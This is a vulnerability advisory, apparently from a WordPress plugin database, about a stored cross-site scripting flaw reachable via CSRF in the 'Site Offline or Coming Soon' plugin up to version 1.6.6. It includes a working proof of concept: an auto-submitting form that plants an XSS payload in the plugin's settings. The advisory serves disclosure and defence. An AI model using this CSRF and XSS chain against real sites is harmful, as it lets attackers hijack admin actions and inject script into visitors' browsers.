WordPress Plugin Vulnerabilities

Site Offline or Coming Soon <= 1.6.6 - Stored Cross-Site Scripting via CSRF

Description

The plugin does not have CSRF check in place when updating its settings, and it also lacking sanitisation as well as escaping in some of them. As a result, attackers could make a logged in admin change them and put Cross-Site Scripting payloads in them via a CSRF attack

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=site-is-offline-plugin%2Fmain.php" method="POST">
    <input type="text" name="cp_siteoffline_enabled" value="true">
    <input type="text" name="cpso_save_settings" value="Änderungen speichern">
    <input type="text" name="cp_siteoffline_content" value="<img src=x onerror=alert(/XSS/)>">
</form>
<script>
    document.getElementById("test").submit();
</script>